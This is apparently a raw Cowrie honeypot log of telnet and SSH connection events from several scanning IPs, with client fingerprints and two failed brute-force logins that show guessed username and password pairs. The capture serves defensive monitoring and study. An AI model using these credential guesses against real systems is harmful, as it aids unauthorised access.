{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57678,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8b87ffe8b5","protocol":"telnet","message":"New connection: 213.136.75.179:57678 (10.17.0.5:23) [session: 3f8b87ffe8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.825382Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57692,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61a13e738be","protocol":"telnet","message":"New connection: 213.136.75.179:57692 (10.17.0.5:23) [session: d61a13e738be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.922503Z"}
{"eventid":"cowrie.session.closed","duration":31.20600175857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.944664Z","src_ip":"213.136.75.179","session":"9e1b6425bf42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57706,"dst_ip":"10.17.0.5","dst_port":23,"session":"72e618dd86d3","protocol":"telnet","message":"New connection: 213.136.75.179:57706 (10.17.0.5:23) [session: 72e618dd86d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.971945Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59912,"dst_ip":"10.17.0.5","dst_port":23,"session":"23afb7e317db","protocol":"telnet","message":"New connection: 94.23.163.94:59912 (10.17.0.5:23) [session: 23afb7e317db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.073962Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59926,"dst_ip":"10.17.0.5","dst_port":23,"session":"c599e0aba26e","protocol":"telnet","message":"New connection: 94.23.163.94:59926 (10.17.0.5:23) [session: c599e0aba26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.269231Z"}
{"eventid":"cowrie.session.closed","duration":32.15306639671326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.303860Z","src_ip":"213.136.75.179","session":"1dae3bca6cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57722,"dst_ip":"10.17.0.5","dst_port":23,"session":"e918c2cb23f5","protocol":"telnet","message":"New connection: 213.136.75.179:57722 (10.17.0.5:23) [session: e918c2cb23f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.378590Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59940,"dst_ip":"10.17.0.5","dst_port":23,"session":"154bd3b09cd4","protocol":"telnet","message":"New connection: 94.23.163.94:59940 (10.17.0.5:23) [session: 154bd3b09cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.384078Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"19a48db1b525","protocol":"telnet","message":"New connection: 213.136.75.179:57724 (10.17.0.5:23) [session: 19a48db1b525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.391371Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57730,"dst_ip":"10.17.0.5","dst_port":23,"session":"64701c7a52f8","protocol":"telnet","message":"New connection: 213.136.75.179:57730 (10.17.0.5:23) [session: 64701c7a52f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.492554Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57744,"dst_ip":"10.17.0.5","dst_port":23,"session":"606f523676eb","protocol":"telnet","message":"New connection: 213.136.75.179:57744 (10.17.0.5:23) [session: 606f523676eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.581532Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59952,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17f099965d2","protocol":"telnet","message":"New connection: 94.23.163.94:59952 (10.17.0.5:23) [session: b17f099965d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.636403Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57752,"dst_ip":"10.17.0.5","dst_port":23,"session":"63e65aeb1209","protocol":"telnet","message":"New connection: 213.136.75.179:57752 (10.17.0.5:23) [session: 63e65aeb1209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.645429Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57766,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c57113040ee","protocol":"telnet","message":"New connection: 213.136.75.179:57766 (10.17.0.5:23) [session: 9c57113040ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.731359Z"}
{"eventid":"cowrie.session.closed","duration":32.55214309692383,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.772439Z","src_ip":"213.136.75.179","session":"8b26bc752bde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57774,"dst_ip":"10.17.0.5","dst_port":23,"session":"556673fc983e","protocol":"telnet","message":"New connection: 213.136.75.179:57774 (10.17.0.5:23) [session: 556673fc983e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.799655Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59962,"dst_ip":"10.17.0.5","dst_port":23,"session":"08feda5325de","protocol":"telnet","message":"New connection: 94.23.163.94:59962 (10.17.0.5:23) [session: 08feda5325de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.845543Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59964,"dst_ip":"10.17.0.5","dst_port":23,"session":"e12d9f97a1c2","protocol":"telnet","message":"New connection: 94.23.163.94:59964 (10.17.0.5:23) [session: e12d9f97a1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:23.874546Z"}
{"eventid":"cowrie.session.closed","duration":30.95202922821045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:24.220238Z","src_ip":"5.189.169.71","session":"ca574ec5de55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438284158706665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:24.417637Z","src_ip":"5.189.169.71","session":"57c0318bd23f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994088888168335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:24.487708Z","src_ip":"94.23.163.94","session":"83ab8f3f7bdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34049081802368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:25.130966Z","src_ip":"94.23.163.94","session":"4b53ebb38d6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030609607696533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:25.253599Z","src_ip":"94.23.163.94","session":"ec6712b4ec36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57780,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54a2824db66","protocol":"telnet","message":"New connection: 213.136.75.179:57780 (10.17.0.5:23) [session: f54a2824db66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:25.314363Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57792,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0caf00d584","protocol":"telnet","message":"New connection: 213.136.75.179:57792 (10.17.0.5:23) [session: ac0caf00d584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:25.334216Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47716,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d3788e81ff8","protocol":"ssh","message":"New connection: 176.65.139.103:47716 (10.17.0.5:22) [session: 2d3788e81ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:25.540247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:25.545690Z","src_ip":"176.65.139.103","session":"2d3788e81ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:25.632841Z","src_ip":"176.65.139.103","session":"2d3788e81ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:25.918766Z","src_ip":"176.65.139.103","session":"2d3788e81ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.019153118133545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:26.064515Z","src_ip":"5.189.169.71","session":"795aca281bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34905219078064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:26.149175Z","src_ip":"94.23.163.94","session":"e78e05d41682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57794,"dst_ip":"10.17.0.5","dst_port":23,"session":"16d13c0044e9","protocol":"telnet","message":"New connection: 213.136.75.179:57794 (10.17.0.5:23) [session: 16d13c0044e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:26.160537Z"}
{"eventid":"cowrie.session.closed","duration":31.03203582763672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:26.426220Z","src_ip":"155.117.234.131","session":"ff150a8d180b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57796,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d0847146ed","protocol":"telnet","message":"New connection: 213.136.75.179:57796 (10.17.0.5:23) [session: 26d0847146ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:26.588017Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57812,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b7817efa56","protocol":"telnet","message":"New connection: 213.136.75.179:57812 (10.17.0.5:23) [session: b7b7817efa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:27.029295Z"}
{"eventid":"cowrie.session.closed","duration":30.265242338180542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:27.062818Z","src_ip":"94.23.163.94","session":"58eae092e15d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:27.117583Z","src_ip":"176.65.139.103","session":"2d3788e81ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.802888870239258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:27.592666Z","src_ip":"213.136.75.179","session":"23b832fcf854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.164223432540894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:28.000450Z","src_ip":"213.136.75.179","session":"b85196152c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54742,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c16719a1c9b","protocol":"telnet","message":"New connection: 23.254.167.244:54742 (159.203.135.109:23) [session: 6c16719a1c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:28.011925Z"}
{"eventid":"cowrie.session.closed","duration":30.64885663986206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:28.059838Z","src_ip":"5.189.169.71","session":"fcc836c64b8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002543926239014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:28.090582Z","src_ip":"94.23.163.94","session":"7c90fc76cdfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44664,"dst_ip":"10.17.0.5","dst_port":23,"session":"f39555774311","protocol":"telnet","message":"New connection: 213.136.75.179:44664 (10.17.0.5:23) [session: f39555774311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:28.157761Z"}
{"eventid":"cowrie.session.closed","duration":31.267529249191284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:28.365883Z","src_ip":"94.23.163.94","session":"8c2172772025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274516582489014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:28.460382Z","src_ip":"94.23.163.94","session":"4072e22caae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":48186,"dst_ip":"10.17.0.5","dst_port":23,"session":"50cff843954d","protocol":"telnet","message":"New connection: 5.189.169.71:48186 (10.17.0.5:23) [session: 50cff843954d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:28.690606Z"}
{"eventid":"cowrie.session.closed","duration":33.90570044517517,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:29.462252Z","src_ip":"213.136.75.179","session":"db68cce62001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59980,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6df00b1406","protocol":"telnet","message":"New connection: 94.23.163.94:59980 (10.17.0.5:23) [session: 0e6df00b1406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:29.590232Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59994,"dst_ip":"10.17.0.5","dst_port":23,"session":"7397a6eaba52","protocol":"telnet","message":"New connection: 94.23.163.94:59994 (10.17.0.5:23) [session: 7397a6eaba52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:29.966167Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56748,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c5058c22ca","protocol":"telnet","message":"New connection: 23.254.167.244:56748 (159.203.135.109:23) [session: a8c5058c22ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:30.016438Z"}
{"eventid":"cowrie.session.closed","duration":30.11514115333557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:30.053571Z","src_ip":"94.23.163.94","session":"21f112a427d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98877215385437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:30.061661Z","src_ip":"94.23.163.94","session":"9175bcb89910","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862743616104126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:30.113338Z","src_ip":"5.189.169.71","session":"3dbefec924cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60006,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbeebeb06847","protocol":"telnet","message":"New connection: 94.23.163.94:60006 (10.17.0.5:23) [session: bbeebeb06847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:30.390942Z"}
{"eventid":"cowrie.session.closed","duration":32.64802551269531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:30.718066Z","src_ip":"213.136.75.179","session":"2429656a7393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60020,"dst_ip":"10.17.0.5","dst_port":23,"session":"97eee4abb0ed","protocol":"telnet","message":"New connection: 94.23.163.94:60020 (10.17.0.5:23) [session: 97eee4abb0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:30.937258Z"}
{"eventid":"cowrie.session.closed","duration":30.692503690719604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:31.179579Z","src_ip":"5.189.169.71","session":"8e6e8cd41a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903311014175415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:31.196039Z","src_ip":"213.136.75.179","session":"73eb1888ceff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965981006622314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:31.235952Z","src_ip":"94.23.163.94","session":"51849d657593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":41560,"dst_ip":"10.17.0.5","dst_port":22,"session":"538a0cd5d463","protocol":"ssh","message":"New connection: 20.244.18.126:41560 (10.17.0.5:22) [session: 538a0cd5d463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:31.535961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:31.541460Z","src_ip":"20.244.18.126","session":"538a0cd5d463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:31.728445Z","src_ip":"20.244.18.126","session":"538a0cd5d463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":48188,"dst_ip":"10.17.0.5","dst_port":23,"session":"795de4d97d14","protocol":"telnet","message":"New connection: 5.189.169.71:48188 (10.17.0.5:23) [session: 795de4d97d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.047965Z"}
{"eventid":"cowrie.session.closed","duration":31.345914840698242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.078326Z","src_ip":"213.136.75.179","session":"861daab2fc2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39152717590332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.110244Z","src_ip":"5.189.169.71","session":"0e5225c228e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.372027158737183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.192308Z","src_ip":"94.23.163.94","session":"5d04072aae90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60034,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac55d1aa9ef8","protocol":"telnet","message":"New connection: 94.23.163.94:60034 (10.17.0.5:23) [session: ac55d1aa9ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.197419Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60050,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb3f3f8afe5","protocol":"telnet","message":"New connection: 94.23.163.94:60050 (10.17.0.5:23) [session: 8eb3f3f8afe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.221334Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"q1w2e3","message":"login attempt [deploy/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.513125Z","src_ip":"20.244.18.126","session":"538a0cd5d463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.49024844169617,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.532009Z","src_ip":"213.136.75.179","session":"862ebdf4c931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46011734008789,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.651188Z","src_ip":"213.136.75.179","session":"45c7823ee1eb","protocol":"telnet"}
